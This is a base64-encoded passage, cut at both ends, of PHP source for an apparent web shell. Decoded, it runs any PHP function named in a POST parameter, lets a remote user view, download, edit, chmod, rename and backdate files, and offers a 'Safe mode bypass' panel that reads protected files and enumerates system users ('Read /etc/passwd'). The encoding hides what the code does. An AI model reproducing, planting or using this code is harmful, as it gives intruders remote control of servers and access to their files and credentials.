25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkKICAgICAgICAgICAgZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsKICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsKICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICAkc3RyaW5nVG9vbHMgPSBhcnJheSgKICAgICAgICAnQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLAogICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCiAgICAgICAgJ1VybCBlbmNvZGUnID0+ICd1cmxlbmNvZGUnLAogICAgICAgICdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywKICAgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCiAgICAgICAgJ21kNSBoYXNoJyA9PiAnbWQ1JywKICAgICAgICAnc2hhMSBoYXNoJyA9PiAnc2hhMScsCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLAogICAgICAgICdDUkMzMicgPT4gJ2NyYzMyJywKICAgICAgICAnQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywKICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywKICAgICAgICAnSEVYIHRvIERFQycgPT4gJ2hleGRlYycsCiAgICAgICAgJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywKICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCiAgICAgICAgJ0RFQyB0byBCSU4nID0+ICdkZWNiaW4nLAogICAgICAgICdCSU4gdG8gSEVYJyA9PiAnYmluMmhleCcsCiAgICAgICAgJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLCAgICAgICAgCiAgICAgICAgJ1N0cmluZyB0byBsb3dlciBjYXNlJyA9PiAnc3RydG9sb3dlcicsCiAgICAgICAgJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsCiAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywKICAgICAgICAnU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsCiAgICApOwogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwogICAgZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7CiAgICBmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCRfUE9TVFsncDEnXSkpCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pKTsKICAgIH0KICAgIGVjaG8iPC9wcmU+PC9kaXY+IjsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7CiAgICBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApCiAgICAgICAgJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7CiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7CiAgICAgICAgaWYoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIi4kdHlwZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkKICAgICAgICAgICAgICAgICAgICBlY2hvIEBmcmVhZCgkZnAsIDEwMjQpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZihpc19kaXIoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgogICAgICAgIH0KICAgICAgICBleGl0OwogICAgfQogICAgaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7CiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7CiAgICAgICAgcHJpbnRGb290ZXIoKTsKICAgICAgICByZXR1cm47CiAgICB9CiAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICBlY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP3ZpZXdTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy52aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsKICAgIGVjaG8gJzxzcGFuPkNyZWF0ZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOwogICAgaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQogICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsKICAgIGlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQogICAgICAgICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIGVsc2UKICAgICAgICAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIGZvcmVhY2goJG0gYXMgJHYpCiAgICAgICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsKICAgIGVjaG8gJzxicj48YnI+JzsKICAgIHN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsKICAgICAgICBjYXNlICd2aWV3JzoKICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzoKICAgICAgICAgICAgaWYoIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7Y29sb3I6YmxhY2s7Ij4nOwogICAgICAgICAgICAgICAgJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7CiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NobW9kJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsKICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsKICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2VkaXQnOgogICAgICAgICAgICBpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydwMSddLCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICBlY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGV4ZHVtcCc6CiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICRuID0gMDsKICAgICAgICAgICAgJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CiAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOwogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKICAgICAgICAgICAgICAgICRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKICAgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbisrOwogICAgICAgICAgICAgICAgaWYgKCRuID09IDMyKSB7CiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOwogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CiAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gJzxicj4nOwogICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jcmVkPjx0cj48dGQgYmdjb2xvcj1yZWQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSNyZWQ+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSNyZWQ+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdyZW5hbWUnOgogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICBpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3RvdWNoJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsKICAgICAgICAgICAgICAgIGlmKCR0aW1lKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpCiAgICAgICAgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CiAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0ZhaWwhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnbWtmaWxlJzoKICAgICAgICAgICAgCiAgICAgICAgICAgIGJyZWFrOwogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgewogICAgJHRlbXA9Jyc7CiAgICBvYl9zdGFydCgpOwogICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgewogICAgICAgIGNhc2UgMToKICAgICAgICAgICAgJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOwogICAgICAgICAgICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpewogICAgICAgICAgICAgICAgZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOwogICAgICAgICAgICAgICAgdW5saW5rKCR0ZW1wKTsKICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICBlY2hvICdTb3JyeS4uLiBDYW5cJ3Qgb3BlbiBmaWxlJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAyOgogICAgICAgICAgICAkZmlsZXMgPSBnbG9iKCRfUE9TVFsncDInXS4nKicpOwogICAgICAgICAgICBpZiggaXNfYXJyYXkoJGZpbGVzKSApCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJGZpbGVuYW1lLiJcbiI7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgMzoKICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIlx4MDAiLlNFTEZfUEFUSCk7CiAgICAgICAgICAgIGN1cmxfZXhlYygkY2gpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDQ6CiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsKICAgICAgICAgICAgaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOwogICAgICAgICAgICBpbmNsdWRlKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgNToKICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7CiAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICBpZiAoJHVpZCkKICAgICAgICAgICAgICAgICAgICBlY2hvIGpvaW4oJzonLCR1aWQpLiJcbiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSA2OgogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSlicmVhazsKICAgICAgICAgICAgJHN0cmVhbSA9IGltYXBfb3BlbigkX1BPU1RbJ3AyJ10sICIiLCAiIik7CiAgICAgICAgICAgIGlmICgkc3RyZWFtID09IEZBTFNFKQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGVjaG8gaW1hcF9ib2R5KCRzdHJlYW0sIDEpOwogICAgICAgICAgICBpbWFwX2Nsb3NlKCRzdHJlYW0pOwogICAgICAgICAgICBicmVhazsKICAgIH0KICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIxIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+R2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5DdXJsIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5JbmlfcmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI0Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+UG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PGJyPjxzcGFuPkltYXBfb3BlbiAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI2Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgaWYoJHRlbXApCiAgICAgICAgZWNobyAnPHByZSBjbGFzcz0ibWw